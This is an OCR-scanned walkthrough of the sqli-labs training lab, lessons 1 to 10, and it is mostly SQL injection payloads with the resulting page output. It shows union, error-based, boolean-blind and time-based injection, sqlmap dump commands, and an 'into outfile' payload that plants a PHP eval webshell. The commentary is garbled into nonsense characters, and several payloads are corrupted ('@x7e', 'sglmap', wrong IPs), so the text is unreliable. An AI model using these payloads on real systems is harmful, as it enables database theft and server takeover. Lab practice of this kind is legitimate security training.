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Welcome
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1" LIMIT 0,1 at line 1
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select * from user where id='1"
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payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=1" order by 3--+
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Welcome
Unknown column '4" in 'order clause’

T BB JE W IEH B
A B & A7 B

payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1"' union select 1,2,3--+
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payload: http://127.9.0.1/sqli-labs-master/Less-1/71d=-1" union select 1,database(),3--+
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Welcome
Your Login name:security
Your Password:3
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payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1"' union select 1,table_name,3 from

information_schema.tables where table_schema='security'--+
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Welcome
Your Login name:emails
Your Password:3
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Welcome
Your Login name:emails,referers,uagents,users
Your Password:3
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payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1"' union select 1,group_concat(column_name),3

from information_schema.columns where table_name='users'--+
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Welcome

Your Login
name:id,name,email,salary,user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,lev




payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1"' union select

1,group_concat(concat_ws(@x3a,username,password)),3 from security.users--+
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Welcome
Your Login name:Dumb:Dumb,Angelina:l-kill-

you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:maob!le,admin:admin,admin1:admin1,admin
Your Password:3
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payloadl: ?id=1' and 1=1
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Welcome
Your Login name:Dumb
Your Password:Dumb

payload2: ?id=1' and 1=2
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payload: ?id=1' and updatexml(1,concat(0x7e,database()),0)--+
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Welcome
XPATH syntax error: ' ~security’
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payload: ?id=1"' and updatexml(1,concat(@x7e, (select table_name from information_schema.tables where
table_schema='security')),0)--+

“— Q o © ® 127.0.0.1/sqli-labs-ma: ?id=1" and updatexml(1,concat(0x7e, (select B o W nohe®s o0 2
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Welcome

Subquery returns more than 1 row

453~ Subquery returns more than 1 row

JE A R R BRI Bas — 4T, FRATTAT LA A limit BR 81 151 24T 4

payload: ?id=1' and updatexml(1,concat(@x7e,(select table _name from information_schema.tables where
table_schema='security' limit 0,1)),0)--+

&« c o @ @ 127.0.0.1/sqli-labs-master/Less-1/?id=1" and updatexml(1,concat(0x7e,(select B e W D h ® v 0 O 2
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Welcome
XPATH syntax error: '~emails’
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payload: ?id=1' and updatexml(1,concat(@x7e, (select column_name from information_schema.columns where
table name='users' limit 4,1)),0)--+

< c @ © ® 127.0.0.1/sqli-lat er/Less- - tex 1cat(0x7e, (selec B e Y noh® &0 & 2 =
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Welcome
XPATH syntax error: '~id"
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id, username, password

payload: ?id=1' and updatexml(1,concat(@x7e,(select concat_ws(©x3a,id,username,password) from
security.users limit 0,1)),0)--+
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Welcome
XPATH syntax error: *
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payload: python sgqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1
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payload: python sglmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users --

columns

payload: python sglmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users -C



id,username,password --dump
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Game Over~~
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Welcome
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' LIMIT 0,1" at line 1
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http

WEEMN A You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version

for the right syntax to use near '' LIMIT 0,1' at line 1
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select * from users where id=1;
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http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1--+
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Welcome
Your Login name:Dumb

Your Password:Dumb
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payload: http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 --+

payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1"' union select 1,database(),3--+

Wy AL A

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from
information_schema.schemata--+

1R P 0 e
<« c @ © @ 127.0.0.1/s5qli-labs-master/Less-2/%id=-1 union select 1,group_concat(schema B IO b ® &» 0 @ -3 =
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Welcome
Your Login
name:information_schema,challenges,class,day1,dvwa,mysql,performance_schema,pikachu,pkxss,security,student,test

Your Password:3

SERIES-2.




payload: http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from
information_schema.tables where table schema='dayl--+

<« C @ ©@ © 127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat{table n BE e Y iIND b ® & 0 @ 2 =
4 22wmn DeAmr SeE [ #anasE beBEE

Welcome
Your Login name:flag,users
Your Password:3
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payload: http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(column_name),3 from

information_schema.columns where table name='flag'--+

&« G @ ©  ® 127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(column B Y IO & ® » 06 @ 2
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Welcome
Your Login name:flag
Your Password:3
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payload: http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,flag,3 from dayl.flag--+
&« c @ © ® 127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,flag,3%20 from day1.f B Y noh ® &0 e =
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Welcome
Your Login name:HRCTF{1nOrrY_i3_Vul1n3rab13}
Your Password:3
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You have an error in your SQL syntax; check the manual that ¢
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Welcome
orresponds to your MySQL server version for the right syntax to use near "1") LIMIT 0,1' at line 1

RAE RS B85 S5 N A SE I SQLIE A A:
select * from &4 where id=(‘1") ...
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payload: ?id=1' and 1=1--+
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You have an error in your SQL syntax; check the manu
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al that corresponds to your MySQL server version for the right syntax to use near " at line 1
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payload: ?id=1"') and 1=1--+
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Welcome
Your Login name:Dumb
Your Password:Dumb
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$sgql-" users id=("$id")
$result-mysql query($sql);

$row = mysql fetch_array($result);
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payloadl: ?id=1' and 1=1

payload2: ?id=1' and 1=2
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<« c @ © @ 127.00.1/sqli-labs-master/Less-5/?id=1"and 1=1-—+ B W noOh® 0D
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Welcome
You are in...........
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$sql=" users
$result=mysql ¢
$row = mysql fetch array($result);

($row)

‘<font size="5" color="#FFFF20Q">";
'You are in ;
“<br>";

) "< /font>";

error());
"</br></font>";
y ‘<font color= "#0000ff" font size= 3>';

{ echo "Please input the ID as parameter with numeric value";}
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updatexml() #MYSQLXF XML A% H 247 25 1 A2 BRI XPAT Hif 1.
extractvalue() #MYSQLH XML A% HHE 3517 25 1) I XPATHER 2L
floor() # MYSQLH FH SR X8 ) of £

payload: ?id=1' and updatexml(1,concat(@x7e,database()),0)--+
Hrconcat: {BEFHZHIFHNSEAE R —ANTRSHEITENE 0x7el ~ 1163 il (B F 3R 4 P9 5 A1 02 B (10 7T F HALRF 5 191633k 41))

<« c @ @ @ 127.0.0.1/sgli-labs-master/Less-5/2id=1" and updatexmi(1,concat(0x7 BE e ¥ In O 8 @ &« 0 @ 1 & :
i 2=wn OsAme 5as [ g e

Welcome
XPATH syntax error: "~security’
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payload: ?id=1' and updatexml(1,concat(@x7e,database()),0)--+

2. K4

payload: ?id=1' and updatexml(1,concat(@x7e,(select table_name from information_schema.tables where

table_schema='security')),0)--+

<« c @ @ @ 127.0.0.1/sqli-labs-master/Less-5/?id=1" and updatexml(1,concat(0x7 BB e 1Y nGe a8 ® &« 6 @ 2
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Welcome
Subquery returns more than 1 row

T4 Rt — Ik BXN—17, BrABRATAEF limit 32 k334738 2 SREL (R P LA A group_concat(table_name)4:#84T EN)

payload: ?id=1' and updatexml(1,concat(@x7e,(select table_name from information_schema.tables where

table schema='security' limit 0,1)),0)--+
< C @ © ® 127.0.0.1/sqli-labs-master/Less-5/7id=1" and updatexmi(1,concat(Ox 82 e 1Y DB ® 0 @ 2 =
4 2mwE SEERr Hes 0 g HiTE

Welcome
XPATH syntax error: '~emails'

18 HH B0 P security’ IS —ANK ‘email’

BER S HE R Klimit 0,1 A& ke alimit 1,1\ limit 2,1
&~ G @ © @ 127.0.0.1/sqli-labs-master/Less-5/?id=1" and updatexml(1,concat(0x BE e t¥ nDdDh ® 0@ 2
o EEsE DEERr D85 CETEAE S

Welcome
XPATH syntax error: '~referers’

DGR © @ 127.001/5 1,concat(0x B e W nDH®s0@Da =
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Welcome
XPATH syntax error: '~uagents’

<« c @ @ 127.0.0.1/sqli-labs-master/Less-5/?id=1" and updatexml(1,concat(} B o o h @ § 0 @ 2 =

1} BEAE SRR &5 [ Bz baiis




Welcome
XPATH syntax error: '~users'

RIKIRH 3 ZANERN ‘referers’ ,FE =K N'uagents’, FEIUANRA ‘users’

STFIRIE T — R B ik
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payload: ?id=1' and updatexml(1,concat(@x7e,(select column_name from information_schema.columns where
table_name='users' limit 0,1)),0)--+

BAVER2, IR RusersH I FBUN'Id, username, password’ =4S 7B

4. 185 Btusernameflipassword # i 4 2%

payload: ?id=1"' and updatexml(1,concat(@x7e, (select concat_ws(0x3a,username,password) from security.users
limit 0,1)),0)--+

< c @ U @ 127.00.1/5q oncat(0x B Wy n® b0 ® » 0 @ 2
o EmnE DEREE BRE O #amas ket

Welcome
XPATH syntax error: '~Dumb:Dumb’
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Game Over~~
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into outfile: B AL 1
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1. U4 AR A B AR (L0 R A2
2. i 5 SO B AR
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B A% B T PN AR\ 7T CAHe e — N IERML/PHP B REE 851 S HI1E, WA B /N2t fil ZE R B IG5 " 115, WAL HK
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<?php eval(\$_POST[
<?php eval(\$_GET[
<?php @eval(\$_POST[
<?php phpinfo(); ?>
<?php eval($ POST[

A RS 5 R

<?php eval(\\\$_POST[

payload: ?id=-1"')) union select 1,2, '<?php @eval($_POST["cmd"]);?>"' into outfile
"C:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\demo.php"--+
PS: <?php @eval($_| POST[“cmd"]) ?7>H— ’jf;ﬁ?kfﬁ JXETE’%‘JZS

- a @ © ® 127.0.0.1/sqli-labs r/Less-7/%id=-1) union select 1,2,"<?phg BE e Y InoEHh®ss0e° S %=
& BxpE DRERE D5 (BIRAE LRE

Welcome
You have an error in your SQL syntax

BRE MR, HEEEAHXMHELSE AT demo.php
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| readme.md 12:10 VD 37 3 KB
| readme.md~ 12:10 T 2 KB
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FabEE demofiilit

R R UTF8 v

JESE il PHP v
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(=) default (735

(2 random (73R
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2 iHKiER ~
o Efihied ~
s
URLiE Pt MR FlshEE BIERiE E iRt iE
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phpstuay £ =F Filh Ei
= [ PHPTutorial L MUEAmZ U ies ZULS-127UC 15.UY.26 + nu urir
=0 www (3 index-3.htm_files 2019-12-08 14:09:29 0b 0777
= ] sali-abs-master [ indexhtml_files 2019-12-08 14:09:29 4Kb 0777
Less-1
= O sgl-connections 2019-12-08 14:09:30 4Kb 0777
B Less-10
[ s0L Injections-1.mm 2014-10-31 12:10:22 8 Kb 0666
I Less-11
B Less12 [ SGL Injections-2.mm 2014-10-31 12:10:22 5.71Kb 0666
M Less-13 [ sQL Injections-3.mm 2014-10-31 12:10:22 7.96 Kb 0666
M Less-14 D SQL Injections.mm 2014-10-31 12:10:22 7.57 Kb 0666
B Less-15 & SOL Injections.png 2014-10-31 12:10:22 79.1Kb 0666
I Less-16 dema.php 2020-02-18 00:08:42 34b 0666
M Less-17 index-L.html 2014-10-31 12:10:22 7.59 kb 0666
Less-18
b= index-2.htm| 2014-10-31 12:10:22 5.23 Kb 0666
B Less-19
) index-3.html 2014-10-31 12:10:22 7.81 Kb 0666
I Less-2
B Less-20 index.htm 2014-10-31 12:10:22 7.75 Kb 0666
M Lessoi [ readme.md 2014-10-31 12:10:22 2.27 Kb 0666
I Less-22 D readme.md-~ 2014-10-31 12:10:22 1.91 Kb 0666
B Less-23 B readme.t 2014-10-31 12:10:22 2.21Kb 0666
I Less-24 [ readme.txt~ 2014-10-31 12:10:22 1.39 Kb 0666
B Less2s sql-lab.sql 2014-10-31 12:10:22 1.23 Kb 0666
Less-25a
b= [ tomcat-files.zip 2014-10-31 12:10:22 262.52 Kb 0666
Bl Less26
Il Less-26a - S{ENE 7

HEBERTh, ARG ] DR E N\ K ishell /e, AR EEGR.
PS: & Emysql$iE B IT J& secure-file-privE XXAERUR, & UARES A1

Less-8 i /RB M 5| S GETE £



AL H %7 &5 — V) A /RME TR ENAR
TN BIETEERREC

length: FSRIHE SR ER L KE

concat(): ¥H 7 b fF I B2 R 5

concat_ws(): &8 7 B fF & B 7 77 5

group_concat(): EE—NHKETA F/HE, HLLES 5 RE— K 5E
substr(): ZEUZ AT &

mid(): #REF T 5

ascii(): & [ 7 FF 5 (1 5 E (ASCILR [E] {8 /£ 0-255)

ord(): iR [l =7 5 H{E

payload: ?id=1' and 1=1--+
&« c @ © ® 127001 At er/le d=1"and 1=1--+ B 1Y NG 8o ® & 0
o 2ewE EeEm B85 [ sanas b sE

-
s

)
D

Welcome
You are in...........

B & You are in...
A7 ZR B
payload: ?id=1' and 1=2--+

]

-
u

&« ¢ @ © @ 127.0.0.1/s5qli-labs-master/Less-8/?id=1"and 1= B o W nomHBesoae
o B=nE B st B85 [ BamgE baeP

i

Welcome

payload: ?id=1' order by 3--+

payload: ?id=1' and length(database())=8--+



Al B % 44 B4

payload: ?id=1' and mid(database(),1,1)="s"'--+

] 2 1F 5 B <~ % DL S R 2

« C o 0 @ 127.001 ) : E - B o In@® 8 ® & 06 @ ® ]
& 2xE EeRR 585 QEmmas bnes

Welcome
You are in...........

BV B — NS, BRI A

payload: ?id=1' and mid(database(),2,1)="e'--+
BR s mid () BB — 4~ 25%01,2,3..8

T3 E AR ICN security, BIE3E B 4 Ase curity

ERT7iEE W B S 3% 70, W] LAl ascii B £ B R ) R0 L E

payload: ?id=1' and ascii(mid(database(),1,1))>100--+

&« (GRS |ﬁ) (@ sqli-labs-master/Less-8/?id=1" and ascii(mid(database(,1,1))>100—-+ ~ 38 <= 1% OB ® » 0 & =
& BxwE Eemmt e ] O BwaE LeEE

Welcome
You are in...........

i /R1E A E AT B R B A You are in...
AT DL A = 233, Uk b 2 i B 1)

< C @ |® (@ 'sqli-labs-master/Less-8/%id=1" and ascii(mid(database(),1,1))>120--+ ~ & -« ¥ nDh ® & 0@ = W =
el L T E ) D DeanaE LBE

&« [ @ (@ sqli-labs-master/Less-8/%id=1" and ascii(mid(database(,1,1))> 110+ ~ &2 = ¥ InDh # & 03 o W =
& Esa B eEmt B85 e DaaE bss

Welcome

You are in...........




&« c @ ‘E‘ (@ sqli-labs-master/Less-8/7id=1" and ascii(mid(database(),1,1)>114--+ ~ 8 - ¥ nom*Ha ® » 0 @ o) 5 =
& guwE EwmRd D55 - 0 i LB

Welcome
You are in

&« A & @ (@ sqli-labs-master/Less-8/?id=1" and ascii(mid(database(,1,1))> 115+ ~ 52 = ¥ nohB® 0 & W =
& BxwE Eemmt e O #ahaE baess

Welcome

A5 — AN FE R IASCIR T 114 BAR KT 115, B1iZ 2/ KIASCIHE A 115, 5 B K 2445 As
JE HFAMRE _Eid—%, R % B mid() B 50 — AN S 30 (3 A mid () B8 £t 7T F substr() B 504 &)
IR T 1B 4 B & -4 fasciifii 115, 101, 99, 117, 114, 105, 116, 121, Fi%t B /& Ik Mse curity

payload: ?id=1' and ascii(mid((select table_name from information_schema.tables where
table_schema=database() limit ©0,1),1,1)=101--+

W75 ER—5, RFRlimit 0,10 RS N1,2,3. BT EME —, = =.. KA

IR 182 4 Nemails, referers, uagents, users

payload: ?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users'
limit ©,1),1,1))>104--+
RIX ]85 5144 A4 id, username, password

payload: ?id=1' and ascii(mid((select password from security.users limit 0,1),1,1))=68--+
R IR AT 4555 — 17 B4 i password ADumb, password yDumb
HA R T B AT 2R

Game Over~~



B H A, RN B E

Pir-o | e ™ E

if(condition,a,b): % conditionitrueffI B %, R[Hla, *4conditionkfalseffibt %, & [Eb
XBER AN AR RN ERER, MEREEFREXT, XERE payload T: (EMHKK
fEEERE, NEMKINESRS e, RISEKD

1. P K

payload: ?id=1' and if(length(database())=8,sleep(5),1)--+
B N8 & A7 51

2. BEIEE

payload: ?id=1' and if(ascii(mid(database(),1,1))=115,sleep(5),1)--+
ASCIMEA115, BB — A FFFN s

payload: ?id=1' and if(ascii(mid(database(),2,1))=101,sleep(5),1)--+
ASCIMEA101, BB — AN e

DA HE, W] 19 5095 B 44 4 security

3. BRA

payload: ?id=1"' and if(ascii(mid((select table_name from information_schema.tables where
table_schema=database() limit ©,1),1,1))=101,sleep(5),1)--+
ASCIfEA101, W —NRINFE—MLFRN e

PABCRAE 1R EE — AR A FRN emails

payload: ?id=1' and if(ascii(mid((select table_name from information_schema.tables where
table_schema=database() limit 1,1),1,1))=114,sleep(5),1)--+
ASCME 114, BB — RSB —LLF /A r

VL SRHERT R 55 — N RN Z FRN referers

F DA RHE, RATAT LARRIFTR EEE R emails,referers,uagents,users
4. fBusersEK KI5 44

payload: ?id=1' and if(ascii(mid((select column_name from information_schema.columns where
table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+
ASCIIfE ~105, i —MRIFE—LLFHN |

DL K HE, Al fFusersR M FTA 54 K id, username, password



PLEfERE T I MM EERTA AR
R A BT B TR, kR R

Game Over~~

Less-10 & T i H KX 5| 5 HE

MARBRR AT LB R (T RHE-WES) , BT AR B B AR S B RA TR ERHEAN

BT, FEIR id SEOHTHOR “ AL . flless9 X BIRLAE T 8315 () BT () &
X B4 1 — payload =61, HALKIIES% less-9

BEE E

payload: ?id=1" and if(ascii(mid(database(),1,1))=115,sleep(5),1)--+
HARMES%Less-9

Game Over~~
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